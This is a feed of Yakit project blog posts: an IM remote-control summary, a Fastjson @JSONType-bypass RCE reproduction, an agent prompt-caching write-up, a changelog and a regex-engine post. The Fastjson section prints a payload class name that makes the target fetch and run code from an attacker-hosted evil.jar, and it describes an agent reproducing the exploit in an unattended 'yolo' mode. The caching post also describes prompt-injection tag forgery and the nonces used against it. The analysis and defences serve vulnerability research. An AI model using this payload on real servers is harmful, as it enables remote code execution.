bot 所有者在私聊里发 /session，能看到最近的 Yakit AI Session 列表，点「恢复」按钮或发 /session 2 就能切到指定历史会话，沿用之前的上下文继续聊。

安全限制：只有 bot 所有者在私聊里能浏览全局历史。群聊和共享用户只能看到当前 IM 会话，避免企业内分享后泄露历史。

YAK

8.3 空闲自动回收

会话闲置超过 30 分钟（可配），IM Engine 自动关闭它的 gRPC 流释放资源。下次发消息会自动重建。

总结

Yakit 的 IM 远程控制功能，将 AI Agent 的安全执行能力延伸到了飞书和钉钉。只要 Yakit 引擎保持运行，用户无需守在电脑前，即可通过私聊或群聊发送命令、启动扫描、查看执行状态、审批敏感操作、上传图片与文件，并在 IM 中接收完整结果。

这套能力不仅解决了安全任务无法随时跟进的问题，还覆盖了交互卡片、任务终止、会话恢复、附件识别、群聊触发、权限隔离和回复颗粒度控制等场景。配合审批策略、按钮签名、白名单和历史访问限制，远程操作在提升便利性的同时，也保留了必要的安全边界。

对于需要长时间运行扫描任务、频繁离开工作环境，或希望团队通过群聊协同执行安全任务的用户来说，IM 远程控制能够让 Yakit AI Agent 从桌面工具进一步变成一个随时可调用的安全执行助手。

END

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

Memfit下载地址：

IRify下载地址：

常见问题速查：

使用Memfit复现最新的Fastjson远程代码执行漏洞

Tue, 21 Jul 2026 19:51:00 +0800

原创 YAK 2026-07-21 19:51 湖南

深挖版本旁路缺陷，完整复现 Fastjson 1.x 末端版本高危漏洞

一、漏洞背景

Fastjson 是阿里巴巴集团开源的高性能 JSON 处理库,用于 Java 环境下的 JSON 序列化与反序列化。项目最初托管于 GitHub(alibaba/fastjson),后迁移至 alibaba/fastjson2,曾是 Java 生态中应用最广泛的 JSON 库之一。

开发方:阿里巴巴(Alibaba)
编程语言:Java
开源协议:Apache 2.0
主要功能:Java 对象与 JSON 数据的相互转换

Fastjson 最著名的安全问题源于其 autoType 特性:

autoType 允许 JSON 中通过 @type 字段指定反序列化的目标 Java 类,框架会动态加载并实例化该类。
该设计初衷是实现多态对象的序列化还原,但同时也打开了任意类加载的攻击面。
攻击者可构造恶意 JSON 数据,触发 JNDI 注入、TemplatesImpl 加载字节码、JdbcRowSetImpl 等 gadget,进而实现远程代码执行(RCE)。

二、漏洞版本时间线

Fastjson 1.x 围绕 autoType 进行了长期的攻防博弈,从早期默认开启 autoType 到引入黑名单、校验 hash,再到 SafeMode。本项目复现的是 1.x 末版的 `@JSONType` 旁路:

@JSONType 探测路径在 fastjson 1.2.66 引入,用于兼容带 @JSONType 注解的业务类多态还原。
该探测作为 autoType 之外的"信任通道",不检查 autoType 开关、不走黑名单 hash 门。
这条旁路在 1.2.66 ~ 1.2.83 全程存在。
1.2.83 是 fastjson 1.x 的最后一个 Tag,项目此后进入 Archived 状态,安全演进在 fastjson2 上继续。

打开 fastjson 的 GitHub 项目可以看到项目目前已进入 Archived 状态,最新 Tag 版本为 1.2.83:

打开MavenRepo注意到fastjson最新1.2.x版本停留在1.2.83

三、利用链分析

本次复现的漏洞走的是 @JSONType 信任旁路,与传统的 JNDI / TemplatesImpl gadget 链不同,它不依赖任何已知 gadget 类,而是直接让 fastjson 的探测逻辑把"类名"还原成 jar:http:// 远程类加载 URL。整条链可拆为以下阶段:

YAK

1.前置条件

这条链需要三个前置条件同时成立:

1.fastjson 1.2.66 ~ 1.2.83;

2.ParserConfig.defaultClassLoader 被设为一个 jar-URL-aware 的 ClassLoader——本实验用的是 Spring Boot 的 LaunchedURLClassLoader,它的 getResourceAsStream 会把 jar:http://...!/...class 当真实嵌套 jar URL 处理并发起 HTTP 请求;

3.目标环境应该是JDK 8因为JDK 9+ 的 defineClass 会拒绝 jar:http://...!/Exploit 这种非法内部类名，RCE降级成 SSRF。

靶机里的 LaunchedClassLoaderInitializer 通过反射构造 LaunchedURLClassLoader 并 setDefaultClassLoader,镜像了真实场景中"应用主动把 jar-URL-aware loader 设给 fastjson"的触发条件。

YAK

2. @JSONType 探测(信任旁路)

ParserConfig.checkAutoType 在走 autoType 主路前,先执行一段 `@JSONType` 探测:假设"被标注 `@JSONType` 的类是受信任的业务类",对其放行。这段逻辑不检查 autoType 开关、不走黑名单 hash 检查,是独立于 autoType 的信任通道:

java


String resource = typeName.replace('.', '/') + ".class";

InputStream is = defaultClassLoader.getResourceAsStream(resource);

// 命中 @JSONType -> TypeUtils.loadClass(typeName, defaultClassLoader, true)

YAK

3.URL 还原

Payload 里的"类名"是 jar:http:..2130706433:18080.evil!.Exploit。经过 typeName.replace('.', '/') 还原后:

text


jar:http:..2130706433:18080.evil!.Exploit

  →  jar:http://2130706433:18080/evil!/Exploit.class

两个关键技巧:

.. → //:攻击者把 URL 中的 // 用两个点替代写进"类名",靠 fastjson 自己的 replace 把 URL 拼回来。
2130706433:这是127.0.0.1 的十进制整数形式。点状 IP 会被替换成 127/0/0/1 直接废掉,整数形式没有点,原样穿过替换并在 HTTP 层解析为回环地址。"整数形式 IP 字面量"是该漏洞的强信号特征之一。

YAK

4.SSRF + 远程类加载

getResourceAsStream 还原出 jar:http://2130706433:18080/evil!/Exploit.class 后,LaunchedURLClassLoader 对 http://127.0.0.1:18080/evil 发起 HTTP GET,获取攻击者投放的 evil.jar。到这一步 SSRF 已成立。

YAK

5.defineClass + (RCE 落地)

探测命中后,fastjson 调 loadClass → defineClass:

evil.jar 中 Exploit.class 的字节码内部名被刻意写成 jar:http://2130706433:18080/evil!/Exploit(Java 源码无法表达,用 ASM 直接指定);
类带 runtime-visible @JSONType 注解,满足探测信任条件;
内为恶意代码(Runtime.exec)。

JDK 8 verifier 宽松接受该内部名 → defineClass 成功 → 类初始化触发 → RCE。

四、使用Memfit复现漏洞

打开Memfit，选择包含漏洞通报的文件夹然后让Memfit自行复现。使用yolo托管模式。这里我们使用glm-5.2模型进行复现。

在开始运行后通过观察任务执行详情，在无人工介入的情况下Memfit完成了漏洞复现任务。

并在执行完成后生成了Risk信息。

五、使用Yakit复现

六、防御措施

防御措施	对应代码	效果
开 SafeMode	ParserConfig.java:1329前援	在所有检查前抛异常,链直接断
升级fastjson2	ParserConfig.java:1479-1502整段	fastjson2 移除/加固此探测路径
升级JDK9+	JVM defineClass	拒绝非法内部名,断在SSRF,不落地RCE

END

YAK官方资源

Yak 语言官方教程：
https://yaklang.com/docs/intro/
Yakit 视频教程：
https://space.bilibili.com/437503777
Github下载地址：
https://github.com/yaklang/yakit
Yakit官网下载地址：
https://yaklang.com/
Yakit安装文档：
https://yaklang.com/products/download_and_install
Yakit使用文档：
https://yaklang.com/products/intro/
常见问题速查：
https://yaklang.com/products/FAQ

Memfit AI 安全性和缓存优化工程实践

Fri, 17 Jul 2026 17:35:00 +0800

原创 YAK 2026-07-17 17:35 湖南

多记忆 Agent 前缀缓存优化落地复盘

一、从聊天应用到编程 Agent：上下文是怎么累积的

先从大家最熟悉的场景说起。

最基础的形式是"累积对话"——ChatGPT 网页版、各种基于 API 搭的客服 Bot、写作助手，底层 Prompt 的组织方式都是同一套范式：你发一条消息，AI 回一条，下一轮调用时把历史消息原样追加进 messages 数组发给模型。在这种模式下，Prompt 缓存优化几乎是自动的：system prompt 固定不变，历史消息天然构成稳定前缀，上游 LLM 的前缀缓存沿着对话历史一路命中，越聊越省钱。

再进一步是"工程 Agent"——比如 Codex CLI、Claude Code 这类工具。它们的上下文累积方式仍然是消息追加，但追加的不再只是用户输入和 AI 回复，还包括工具调用结果：Agent 读了一个文件，文件内容作为一条 assistant/tool message 追加进去；Agent 跑了一行命令，命令输出也追加进去；Agent 编辑了代码，diff 结果同样追加。本质上，它们把"工作过程"当作"对话历史"来累积——每一步操作的输入和输出都变成 messages 数组里的一条记录，下一轮 LLM 调用时把整段历史发给模型。

这种方式对 Prompt 缓存其实比较友好：system prompt（含工具定义）不变，历史消息按顺序追加，前缀天然稳定。每新增一条消息只是在前缀末尾追加内容，上游前缀缓存可以一路命中到上一次的最后一条消息。唯一的代价是上下文会越来越长，当超过模型窗口时需要做截断或摘要，但那是另一个问题。

我们的系统面临的情况又不一样。

我们的系统是一个多能力、带累积记忆、跑 DAG 任务图的自主 Agent 系统。它和前两者的关键区别在于：上下文不是沿一条线性对话流追加的，而是在不同任务上下文、不同子循环之间跳跃式拼装的。单次任务会发起几十到上百轮 LLM 调用，每轮调用的 Prompt 内容取决于当前执行到哪个任务、跑了哪个子循环、加载了哪些能力、Timeline 积累了多少——而不是简单地把"上一轮的对话"拼在前面。

具体来说，一次 LLM 调用的 Prompt 里混合着这些成分：

Agent 特质与系统角色指令：性格设定、输出格式硬规则、推理方法论、不同系统角色的核心指令。这些内容在理想情况下应该永远不变，但最初它们和 caller-specific 的内容（比如不同子循环的 OutputExample、能力开关）混在一起，没有明确的边界。
能力清单：工具、AI 蓝图（Forge）、技能（Skill）、MCP Server 等。系统有仅内置就有数十种能力，可通过 search_capabilities 动态发现和按需加载。每次系统或用户加载新的能力，Prompt 中的能力清单就会变化。
累积记忆：这是最棘手的部分。系统有四层记忆在 Prompt 里实时渲染——Timeline 时间线（每一步操作和观察结果的追加记录，一次任务可能积累几百到几千条）、Session Evidence（会话级证据，历轮工具执行后被显式写入的"已确认观测"）、Persistent Memory（跨会话的持久记忆）、Midterm Memory（Timeline 过长时自动压缩归档的旧片段）。这些记忆每轮都在增长。
多任务上下文：在 Plan-Execute 模式下，用户的一个目标被拆成树状任务，按依赖关系拓扑执行。每个叶子任务带着父任务链、当前任务目标、执行指令跑一轮独立的 ReAct 循环。不同子任务的上下文内容各不相同。
迭代反馈：ReAct 循环每轮的验证结果、下一步行动计划、工具调用返回值。这些内容每轮都不同。
当前时间、工作目录等环境信息：看起来微不足道，时间的自然增长，它会让整段 Prompt 的字节 hash 每次都变。

问题在于，这些成分最初没有明确的界限——它们被拼成一段连续的文本发给 LLM，稳定的和易变的混在一起。上游前缀缓存沿着 Prompt 从头开始做字节级最长公共前缀匹配，一旦遇到第一个变化的字节，后面的内容无论多么稳定，都无法命中。

于是，Agent 每跑一步，Timeline 增长一条，能力清单可能变了一项，迭代反馈完全换了一轮——前缀缓存在很早就被击穿，后面几千 token 的稳定内容全部按全价计费。

最初的实测数据印证了这一点：一次 hostscan 任务跑下来，50~130 次 LLM 调用，缓存命中率只有 1.10%。99% 的 token 在按全价计费，而其中大部分本应是稳定内容。

这就是我们要解决的问题：在一个成分复杂、边界模糊、记忆持续增长的系统里，如何让上游 LLM 的字节级前缀缓存尽可能命中

二、问题一：缓存破坏的"单体成分"

在系统最初的状态里，Prompt 的各种成分没有明确界限，稳定的和易变的混在一起。但要拆解这个问题，首先要识别出哪些成分是"即使内容不变也会破坏缓存"的——它们是嵌入在 Prompt 字节里的定时炸弹。

YAK

2.1 随机 Nonce：防注入的代价

我们的系统大量使用 AITag（AI 标签）来隔离 Prompt 中的结构化内容，格式形如：


<|PARENT_TASK_a3x9k2|>

... 父任务上下文 ...

<|PARENT_TASK_END_a3x9k2|>

其中 a3x9k2 是 nonce。Nonce 的存在有明确的安全意义：它防止 Prompt Injection 攻击——如果攻击者构造的输入恰好包含 <|PARENT_TASK_xxx|> 这样的标签，就能伪造任务上下文。有了随机 nonce，攻击者无法猜测当前轮的标签字面量，注入的标签会被当成普通文本忽略。

问题出在 nonce 的生成方式：utils.RandStringBytes(6)，每次 LLM 调用都随机生成一个新的。

这意味着，即使两次调用的 Prompt body 完全相同——父任务链一样、当前任务目标一样、执行指令一样——但因为 nonce 变化了，整段文本的字节序列就不同了。上游前缀缓存沿着 Prompt 做字节级匹配，遇到 nonce 变化的位置就断了，后面所有内容全部 miss。

类似的问题还出现在其他"看起来无害"的单体成分上：

time.Now().String()：时间戳，每秒都不同，让整段 Prompt 的字节 hash 每次都变；
工具调用缓存块里的 turn nonce：每轮 LLM 调用的 nonce 直接嵌在 <|CACHE_TOOL_CALL_|> 标签里，跨轮必然不同。

这些成分的共同特点是：它们的相关有效内容本身可能不变，但嵌入的标识符每次都随机，导致字节序列不稳定。

YAK

2.2 稳定派生：让安全与缓存共存

解决思路不是去掉 nonce（安全不能妥协），而是让 nonce 在"内容不变时也不变"。

我们设计了 StablePromptNonce 函数，用哈希把语义标识符映射成稳定的 6 字符 nonce：

funcStablePromptNonce(parts ...string) string {
    h := fnv.New64a()
    for i, p := range parts {
        if i > 0 { h.Write([]byte{0}) }
        h.Write([]byte(p))
    }
    v := h.Sum64()
    // 映射到 6 字符稳定 nonce
    ...
}

同一组 part反复调用必返回相同 nonce。

对于时间戳，解决方案更直接：把 time.Now() 从所有可能进入缓存前缀的段落中移除，时间信息只放在最易变的尾段。

对于工具调用缓存块，nonce 改用占位符字面量 "[current-nonce]" 渲染——LLM 看到方括号占位符理解为"应替换为当前轮 nonce"，解析端通过双注册（turn nonce + 占位符字面量）兜底，任一种 LLM 行为都能正确解析。

这一步的效果是：缓存命中率从 1.10% 提升到 6.27%。绝对值仍然不高，但这是从"几乎完全 miss"到"开始能命中"的质变——单体成分不再无差别地击穿前缀。

三、问题二：如何把混乱的成分归入正确的段

解决了单体成分的字节抖动之后，面对的是更大的问题：Prompt 的各种成分仍然混在一起，没有边界。上游缓存从 Prompt 开头开始做字节级最长公共前缀匹配，一旦遇到第一个变化的字节，后面再稳定的内容也无法命中。

解法是按稳定性分层——把成分按"跨调用不变的"和"每轮都变的"分开，让稳定的在前，易变的在后，在两者之间插入显式的缓存边界。

YAK

3.1 High-Static 段：把"永远不变"的收整到一起

第一类要收整的是跨所有调用永远不变的内容：Agent 性格特质、输出格式硬规则、AITAG 协议、推理方法论。这些内容无论当前跑的是哪个子循环、执行的是哪个任务，都不应该变化。

最初的问题是：这段内容里混进了系统角色差异化的字段。不同系统角色注入的 OutputExample 不同，能力配置在也会变。这些字段虽然每次调用自身稳定，但跨角色切换时就会变，把它们放在 high-static 里，任何系统角色切换都会让整段内容漂移。

修复的第一步是把 caller-specific 字段全部迁出：OutputExample、能力开关、Schema 等 caller 维度才稳定的内容，下沉到后面的 semi-dynamic 段。high-static 段只保留真正跨所有 caller 都不变的内容。

修复的第二步是提炼系统共享约束补足 token 数量。主流模型厂商对显式缓存简历有最小窗口约束，最初的 high-static 段只有少量的内容，后续我们追加了 AITAG Protocol、Reasoning Protocol、Experiment Method Protocol 等跨所有 caller 都不变的方法论内容。

YAK

3.2 Semi-Dynamic 段与 Dynamic 段：从混乱的角色 Prompt 中整合出标准结构

在 high-static 之外，Prompt 中还有大量"同一 caller 内稳定但跨 caller 会变"的内容。最初这些内容和"每轮都变"的内容混在一起，没有边界。

以 ReAct 主循环为例，最初的 Prompt 里，Schema（当前可用 action 的 JSON Schema 定义）、OutputExample（输出格式示例）、Instruction（角色指令）和用户最新输入、迭代反馈数据、注入记忆等全部拼在一段连续文本里。Schema 在同一 loop 内每轮都一样，但和每轮都变的 ReactiveData 混排，导致缓存从第一个变化的字节处就断了。

整理后的方案是把这些内容分成两段：

semi-dynamic 段（同一 caller 内稳定）：

Instruction（当前系统的角色核心指令）：同一 loop 内不变，但是切换角色会变化
Schema（当前 action 的 JSON Schema）：同一 loop 内不变
OutputExample（输出格式示例）：同一 caller 内不变
CacheToolCall（工具调用缓存块）：用占位符 nonce 渲染后跨轮字节稳定

dynamic 段（每轮都变）：

UserQuery（用户最新输入）：每轮不同
ReactiveData（迭代反馈、验证结果、工具返回值）：每轮不同
InjectedMemory（注入的记忆检索结果）：每轮不同
ExtraCapabilities（动态发现的能力）：每轮可能不同

这一步的效果是：ReAct 主循环 5 次连续 chat 实现了 4 段全部 byte-identical，prefix_hit_ratio = 100%。全量命中率提升到 ~25-30%。

四、问题三：累积记忆的滑动窗口困境

前两个问题解决了"静态成分"和"成分边界"的问题，但系统中最大的不稳定因素还没处理：累积记忆。

YAK

4.1 困境：Timeline 每步都在增长

我们的系统有四层记忆在 Prompt 里实时渲染。其中 Timeline 时间线是最核心的：它记录了 Agent 每一步的操作和观察结果，一次任务可能积累几百到几千条记录。每跑一步，Timeline 就追加一条新记录——这意味着如果 Timeline 直接塞在 Prompt 里，前缀每轮都在变，缓存必 miss。

Session Evidence（会话级证据）也有类似的特性：历轮工具执行后被显式写入的"已确认观测"，会随着任务推进不断累积。

这些记忆不可能简单丢弃——它们是 Agent 理解"已经做了什么"的事实依据。但也不能让它们无节制地击穿缓存。

YAK

4.2 解法：Timeline 分桶 + Frozen/Open 边界

关键观察是：Timeline 的旧条目一旦写入就不再变化，只有最新写入的条目还在增长。

我们利用 GroupByMinutes 机制把 Timeline 按绝对时间分桶（默认 3 分钟一个桶）：

桶类型	含义	字节稳定性
Reducer block	旧条目的压缩摘要	永久字节稳定
Frozen interval block	已封闭的时间桶（不再追加）	永久字节稳定
末尾 Open interval block	当前还在写入的桶	会变

这样，每次调用时 frozen 段的字节是稳定的（旧条目不变），只有 open 段在变——缓存边界精确地落在"最后一个还在变化的桶"之前。

YAK

4.3 依托 Timeline 的冻结时间线，统一其他记忆的冻结标准

Timeline 分桶解决了 Timeline 自身的缓存问题，但系统里还有其他累积记忆——Session Evidence（会话级证据）和 Session Artifacts（工作区产物）——它们同样在每轮增长，同样会击穿缓存。如果每种记忆各自维护一套冻结逻辑，不仅工程复杂，而且各自冻结的时机不同，frozen 段的边界会对不齐，反而互相破坏。

我们的做法是：以 Timeline 的冻结时间点作为全局统一基准，让所有记忆内容蹭同一个时间点冻结。

具体来说，我们设计了冻结相关内容有一个统一的入口。它先渲染 Timeline 的 frozen/open 分桶，从中提取出一个 FrozenTimeUnix——即"最后一个已封闭桶的时间戳上限"。然后把这个时间戳传给 Session Evidence 和 Session Artifacts 的渲染函数：


funcBuildPromptFrozenOpenMaterials(config *Config, openNonce ...string) PromptFrozenOpenMaterials {

    // 1. Timeline 先分桶，拿到冻结时间点

    timelineBlocks := RenderTimelineFrozenOpen(config.GetTimeline())

    // 2. 用同一个冻结时间点渲染 Artifacts

    artifactBlocks := RenderSessionArtifactsFrozenOpen(config, timelineBlocks.FrozenTimeUnix)

    // 3. 用同一个冻结时间点渲染 Evidence

    evidenceBlocks := config.GetSessionPromptState().

        GetSessionEvidenceFrozenOpenBlocks(timelineBlocks.FrozenTimeUnix, nonce)

    return PromptFrozenOpenMaterials{

        TimelineFrozen:         timelineBlocks.Frozen,

        TimelineOpen:           timelineBlocks.Open,

        TimelineFrozenTimeUnix: timelineBlocks.FrozenTimeUnix,

        SessionArtifactsFrozen: artifactBlocks.Frozen,

        SessionArtifactsOpen:   artifactBlocks.Open,

        SessionEvidenceFrozen:  evidenceBlocks.Frozen,

        SessionEvidenceOpen:    evidenceBlocks.Open,

        ...

    }

}

这样做的好处是：当 Timeline 的一个时间桶从未封闭变成已封闭（从 open 变成 frozen）时，FrozenTimeUnix 向前推进，Session Evidence 和 Session Artifacts 也同步把此时点之前的内容冻结。三类记忆的 frozen/open 边界在同一轮调用中完全对齐，frozen 段作为一个整体进入缓存前缀，不会出现"Evidence 冻结了但 Timeline 还没冻结"的错位。

这一步的效果是：全量命中率提升到~60%。

总结

整个过程解决了三个层面的问题，命中率从 1% 一路提升到 60%：

阶段	解决的问题	关键动作	命中率
修复单体成分	Nonce 随机、时间戳抖动等"内容不变但字节变"的隐患	稳定派生 Nonce、移除时间戳	1% → 6%
分段分层	稳定内容和易变内容混排，前缀被第一个变化字节击穿	high-static 收整（迁出 caller-specific 字段 + 补足 1500 token）、semi/dynamic 拆分、Hijacker 按边界切割并打 cache_control	6% → ~25%
累积记忆冻结	Timeline / Evidence / Artifacts 每轮增长，前缀永远在变	Timeline 分桶 + Frozen/Open 边界、以 FrozenTimeUnix 统一三类记忆的冻结时机、Frozen Partition 冻结 plan 产物	~25% → ~60%

最终效果：命中 token 按 input 单价的 10% 计费，60% 命中率意味着token 成本下降约 50-60%。

END

更新记录

Yakit 1.4.8-0717

1. 修复 HTTPFlow 表格加载慢的问题

2. 修复 WebFuzzer hex 渲染值不一致问题

3. AI Agent 工具卡片展示和布局优化，失败卡片样式优化

4. 任务/子 Agent 任务定位高亮复用化与样式优化

5. 插件 Tab 新增历史记录，插件执行结果优化

6. YakitEditor 右键菜单支持打开/关闭二进制组件

7. OpenAPI 文档解析新增进度显示与取消功能

8. 修复 IM 机器人删除按钮失效

9. 连接页面支持翻译，导航栏导入资源文案改为导入插件/流量

10. 字典/代理/热加载管理合并为资源管理

11. Agent 增加对话模式选择，新增 Goal 和 Multi-Agent

12. Yak Runner 右侧 AI 改代码优化，增加片段更改

Memfit v11.0.3-0717

1. AI Agent 工具卡片展示和布局优化，失败卡片样式优化

2. 任务/子Agent 任务定位高亮复用化与样式优化

3. 优化底层数据逻辑

4. Agent 增加对话模式选择，新增 Goal 和 Multi-Agent

Yaklang v 1.4.8-beta5

1. 新增 MCP 工具集(chaos maker、fingerprint、http builder 等)

2. 修复大型项目 SyntaxFlow 扫描的内存占用与卡死问题

3. 新增代码审计子智能体支持,增强 AI ReAct 循环与工具调用能力

4. 新增 AI 工具名称双语支持

5. 增强 WebSocket 错误处理与转发能力

6. 修复 CVE 查询响应分页为空的问题

7. 新增 SyntaxFlow 规则

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

常见问题速查：

百倍正则加速：让 Yak 中的正则支持统一编译与完整 PCRE2

Fri, 10 Jul 2026 17:26:00 +0800

原创 YAK 2026-07-10 17:26 湖南

重构正则底层，解锁 Yakit MITM 匹配性能新上限

两项自研工作重做 Yaklang / Yakit 的正则路径：go-pcre2-lite 将单条正则引擎替换为完整 PCRE2，minirehs / rehs 让成百上千条正则支持"统一编译、一次扫描"。
前者降低单条匹配的成本并扩展可编译范围，后者将多正则的复杂度由乘性转为加性——两者在 Yakit MITM 内置规则场景中叠加生效。
除特别标注外，性能数字为本机（darwin/arm64, Apple Silicon）第一手实测；图 3 左半为 go-pcre2-lite 仓库自带基准。

图三

摘要

Yakit MITM 会在每一条经过的报文上执行一批内置规则（指纹识别、组件染色、敏感信息提取）。旧路径存在两个长期问题：

其一是正则语法能力不足——标准库 RE2 不支持 lookaround/backreference，大量从 JS/PHP/.NET 移植的正则直接编译失败，而兜底引擎默认永不超时，单条异常正则即可导致代理无响应；其二是成本随规则数线性增长——数十至上百条正则对每条报文逐条全量匹配，成本为"规则数 × 报文字节"的乘积。

本次改造从两层同时入手：单条正则层采用 go-pcre2-lite（完整 PCRE2、JIT 关闭、dlclark/regexp2 的 drop-in 替代，布尔匹配零分配、ReDoS 默认有界、语法更全）；多正则层采用 minirehs将所有规则统一编译为单一引擎，每条报文仅扫描一次。

在真实 MITM 规则集（87 条）+ 真实流量（~5MB / 1332 报文）上，存在性打标由现状 0.19 MB/s提升至 6.10 MB/s（约 32×）；在字面量友好的合成集上，加速比随规则数从 50 条的 11.6× 增长至 1000 条的 83.6×。

改造前后速览（数据来源见后文对应章节）：

维度	改造前	改造后
正则语法	仅 RE2，lookaround/backref 编译失败	RE2 + 完整 PCRE2（原子组、递归、`\K`、子程序、Unicode 属性）
ReDoS 安全	默认永不超时，可持续回溯挂起	match/depth 限额有界，超限返回 `ErrMatchLimit`
布尔匹配分配	每次匹配复制整段为 `[]rune`	热路径 0 B / 0 allocs
单条匹配速度	基线（`dlclark/regexp2`）	1.8×–9.6×（vs dlclark，库自带基准）
多正则复杂度	`O(N_rules × N_bytes)` 逐条	`~O(N_bytes)` 一次扫描
MITM 真实吞吐（87 规则 / ~5MB）	0.19 MB/s	6.10 MB/s（32×）
规则数放大（合成集，N=1000）	2.78 MB/s	232 MB/s（83.6×）

一、背景与问题：Yakit 旧时代的正则困境

Yakit MITM 长期存在的正则相关问题可归纳为四类：

语法能力受限：MITM 默认使用标准库 RE2。RE2 为保证线性时间复杂度，不支持 lookaround、backreference 等构造。从 JS/PHP/.NET 项目移植的正则常因此编译失败，只能改写或弃用。
回溯不可控：RE2 无法表达的规则回退到 dlclark/regexp2，该引擎默认 MatchTimeout = 永不超时；对抗性正则遇到构造性输入时会持续回溯直至挂起，表现为 CPU 占满、代理无响应。
匹配成本随规则数线性增长：MITM 内置数十条规则，实现为"对每条报文将每条正则各匹配一次"。报文体积与规则数增大时吞吐显著下降，这是"多正则一次匹配随规模劣化"的根因。
内存开销偏高：dlclark 在匹配热路径上每次都将整段输入复制为 []rune，长时间运行时 GC 压力较大。

上述问题在真实规则集上并非均匀分布，而是集中于少数规则。以 rule4yak 87 条内置规则为例，其中含 lookahead 的 URL 识别类规则在 RE2 下直接编译失败，旧路径只能整体回退到 dlclark/regexp2 并对每条报文全量执行；这类 regexp2-only 规则仅约 2–3 条，却在切换前贡献了定位路径约35% 的 CPU与约74% 的分配（getRunes 的整段 []rune 复制）。即少量重规则主导了整体开销。

将上述问题归结为成本模型，MITM 染色/提取的总成本为：


总成本 ≈ N_packets × N_rules × 单条正则匹配成本

由此可得两条正交的优化路径：降低单条正则匹配成本，以及消除× N_rules这一乘性因子。前者属于引擎层面（语法能力、速度、内存、ReDoS 安全），后者属于复杂度层面（避免对每条报文逐条匹配 N 条规则）。二者分别由go-pcre2-lite 与 minirehs 承担，互不替代、可叠加。

本文以实测数据回答四个问题：改造后的实际吞吐、对正则本身的影响、规则数增大时的加速表现、以及对 Yak Project 整体技术体系的影响。

二、方法与实现：完整 PCRE2 与统一编译

整体结构为"单条正则引擎"之上叠加一层"多正则批量调度"，再接入 MITM 的染色/提取路径：


flowchart TB

    MITM["Yakit MITM 染色 / 指纹 / 提取"] --> L2

    subgraph L2["多正则批量层 · minirehs / rehs"]

        direction TB

        C["统一编译
所有规则 → 一个不可变 Database"]

        P["字面量预过滤
Aho-Corasick / bit-NFA 一次扫描"]

        V["候选验证
只对命中候选跑正则"]

        C --> P --> V

    end

    subgraph L1["单条正则引擎层 · go-pcre2-lite"]

        direction TB

        RE2["RE2 可表达 → 标准库 regexp（线性）"]

        PCRE["RE2 不可表达 → 完整 PCRE2 兜底
(lookaround/backref, 零分配, ReDoS 有界)"]

    end

    V -. "候选命中后精确判定" .-> L1

    L1 --> R["命中规则集合 / 精确偏移"]

两层分工明确：minirehs 决定"对哪些规则、在哪些位置执行正则验证"，go-pcre2-lite 决定"每一次验证的速度、安全性与可编译性"。

YAK

2.1 单条正则层：go-pcre2-lite（完整 PCRE2）

它是 `github.com/dlclark/regexp2` 的 drop-in 替代，绝大多数代码只改一行

import：
// before
import "github.com/dlclark/regexp2"
// after
import regexp2 "github.com/VillanCh/go-pcre2-lite/regexp2"

实现要点：

完整 PCRE2 8-bit 解释器，C 源码随仓库 vendored、经 cgo 编入，JIT 永久关闭（分发稳定、无运行期代码生成风险）。
drop-in 兼容：类型、方法、RegexOptions、rune 索引的 Index/Length、Replace/ReplaceFunc、Escape 都对齐 regexp2；在 PCRE2 官方 testoutput1 语料的 1585 条输入上，整段匹配结果与 dlclark100% 一致。
语法更全：possessive 量词 a++、原子组 (?>…)、递归 (?R)、\K、子程序 (?&name)、Unicode 属性——这些 dlclark 直接拒绝的构造均可编译，覆盖背景中"语法能力受限"一类此前无法运行的规则。
ReDoS 默认有界：由 PCRE2 的 match/depth 限额兜底，(a+)+$ 这类指数回溯返回 ErrMatchLimit 而非挂起；收紧 SetMatchLimits 后可将攻击压至亚毫秒，对应背景中"回溯不可控"导致的代理无响应。库自带用例覆盖 moment.jsCVE-2022-31129、UAParser.js CVE-2020-7733 等真实 ReDoS，均可终止。

在 Yaklang 里，正则统一走 common/utils/regexp-utils 的 NewYakRegexpUtils(...)：优先标准库 RE2（线性无回溯），RE2 编译失败时回退 PCRE2 兜底。切换后 regexp-utils.go 与 MITM 预过滤模块的 import 已统一指向 go-pcre2-lite/regexp2。

YAK

2.2 多正则层：minirehs（yak 语言里注册为 rehs）

minirehs 是一个零外部依赖、可移植的多正则批量匹配引擎，借鉴 Intel Hyperscan 的"统一编译、一次扫描"模型：


// yak 语言里以 rehs 库暴露：一行编译、一次扫描判定哪些正则命中

group = rehs.BuildGroup(["admin", "(?i)password", "token=\\w+"])~

if group.Match(data) { /* 是否有任意命中，命中即停，最快 */ }

for m in group.Find(data) { println(m.Index, m.Pattern, m.From, m.To, m.Value) }

核心流程是字面量提取 → Aho-Corasick / bit-NFA 预过滤（一次扫描，含位置）→ 候选邻域验证。它按环境自动分档：

CGO 可用时默认下沉自带的纯 C99 位并行内核（最强档，不链接、不 dlopen 任何外部库），不可用时优雅退化为纯 Go，参考执行器，两档结果逐字节一致。

YAK

2.3 接入 MITM：一个"绝不漏报"的统一预过滤

接入点是 mitmRulePrefilter（见 common/yakgrpc/yakit/httpflow_replacer_prefilter.go）：把所有可被 RE2 自动机

必需字面量安全门控的规则一次性编译进一个常驻 Group，每条报文只扫一次得到"候选位图"，其余规则直接跳过昂贵的逐条匹配。作为安全工具，不漏报是底线，因此正确性由构造保证。

只有 "RE2 可精确表达且含必需字面量" 的规则（disposition=primary）才进入"可跳过集合"；regexp2-only（lookaround/backref）或无必需字面量的规则一律标记为 always-candidate（永不跳过）。

预过滤引擎强制开 Multiline + DotAll，即预过滤语言是规则语言的超集——只会多报候选，绝不把真正会命中的报文判为不命中。

命中与否最终仍由原正则在候选规则上精确判定，染色/提取语义完全不变。

此外提供一键回退开关 YAKIT_MITM_REPLACER_DISABLE_PREFILTER=1，可随时退回逐条匹配的旧行为，用于 A/B 对比或异常时紧急回退。

三、实验设计

维度	说明
硬件 / 系统	darwin/arm64，Apple Silicon
Go 构建	`CGO_ENABLED=1`，默认后端（纯 Go MVS + PCRE2 兜底，未加 `minirehs_mvs` C 内核 tag）
真实规则集	rule4yak 87 条 MITM replacer 规则（`common/minirehs/testdata/rules.json`）
